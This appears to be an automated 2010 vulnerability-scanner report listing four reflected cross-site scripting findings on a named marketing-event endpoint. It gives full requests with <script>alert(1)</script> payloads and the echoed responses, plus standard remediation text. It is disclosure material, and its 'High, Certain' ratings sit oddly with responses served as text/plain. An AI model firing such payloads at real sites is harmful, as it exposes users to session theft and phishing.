Report generated by XSS.CX at Sat Nov 20 12:29:47 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://event.microsite.marchex.com/eventaction [detail parameter]

1.2. http://event.microsite.marchex.com/eventaction [name of an arbitrarily supplied request parameter]

1.3. http://event.microsite.marchex.com/eventaction [pageId parameter]

1.4. http://event.microsite.marchex.com/eventaction [referrer parameter]

1. Cross-site scripting (reflected)
There are 4 instances of this issue:

/eventaction [detail parameter]
/eventaction [name of an arbitrarily supplied request parameter]
/eventaction [pageId parameter]
/eventaction [referrer parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://event.microsite.marchex.com/eventaction [detail parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.microsite.marchex.com
Path:	/eventaction

Issue detail

The value of the detail request parameter is copied into the HTML document as plain text between tags. The payload b9e9d<script>alert(1)</script>2ef160e66e2 was submitted in the detail parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /eventaction?referrer=&eventType=EVENT_TYPE_PAGE_VIEW&detail=b9e9d<script>alert(1)</script>2ef160e66e2&pageId=51737&templateId=1087 HTTP/1.1
Host: event.microsite.marchex.com
Proxy-Connection: keep-alive
Referer: http://www.prevarema.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:54:39 GMT
Content-Length: 202
Content-Type: text/plain; charset=ISO-8859-1

Parameters:
Name: detail Value: b9e9d<script>alert(1)</script>2ef160e66e2
Name: referrer Value:
Name: eventType Value: EVENT_TYPE_PAGE_VIEW
Name: templateId Value: 1087
Name: pageId Value: 51737

1.2. http://event.microsite.marchex.com/eventaction [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.microsite.marchex.com
Path:	/eventaction

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload f6c22<script>alert(1)</script>c481c06dee7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /eventaction?referrer=&eventType=EVENT_TYPE_PAGE_VIEW&detail=&pageId=51737&templateId=1087&f6c22<script>alert(1)</script>c481c06dee7=1 HTTP/1.1
Host: event.microsite.marchex.com
Proxy-Connection: keep-alive
Referer: http://www.prevarema.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:54:44 GMT
Content-Length: 219
Content-Type: text/plain; charset=ISO-8859-1

Parameters:
Name: detail Value:
Name: referrer Value:
Name: f6c22<script>alert(1)</script>c481c06dee7 Value: 1
Name: eventType Value: EVENT_TYPE_PAGE_VIEW
Name: templateId Value: 1087
Name: pageId Value: 51737

1.3. http://event.microsite.marchex.com/eventaction [pageId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.microsite.marchex.com
Path:	/eventaction

Issue detail

The value of the pageId request parameter is copied into the HTML document as plain text between tags. The payload 19810<script>alert(1)</script>2b40aa03c1c was submitted in the pageId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /eventaction?referrer=&eventType=EVENT_TYPE_PAGE_VIEW&detail=&pageId=5173719810<script>alert(1)</script>2b40aa03c1c&templateId=1087 HTTP/1.1
Host: event.microsite.marchex.com
Proxy-Connection: keep-alive
Referer: http://www.prevarema.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:54:41 GMT
Content-Length: 202
Content-Type: text/plain; charset=ISO-8859-1

Parameters:
Name: detail Value:
Name: referrer Value:
Name: eventType Value: EVENT_TYPE_PAGE_VIEW
Name: templateId Value: 1087
Name: pageId Value: 5173719810<script>alert(1)</script>2b40aa03c1c

1.4. http://event.microsite.marchex.com/eventaction [referrer parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.microsite.marchex.com
Path:	/eventaction

Issue detail

The value of the referrer request parameter is copied into the HTML document as plain text between tags. The payload 6c356<script>alert(1)</script>9f4e359392f was submitted in the referrer parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /eventaction?referrer=6c356<script>alert(1)</script>9f4e359392f&eventType=EVENT_TYPE_PAGE_VIEW&detail=&pageId=51737&templateId=1087 HTTP/1.1
Host: event.microsite.marchex.com
Proxy-Connection: keep-alive
Referer: http://www.prevarema.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:54:10 GMT
Content-Length: 202
Content-Type: text/plain; charset=ISO-8859-1

Parameters:
Name: referrer Value: 6c356<script>alert(1)</script>9f4e359392f
Name: detail Value:
Name: templateId Value: 1087
Name: pageId Value: 51737
Name: eventType Value: EVENT_TYPE_PAGE_VIEW

Report generated by XSS.CX at Sat Nov 20 12:29:47 CST 2010.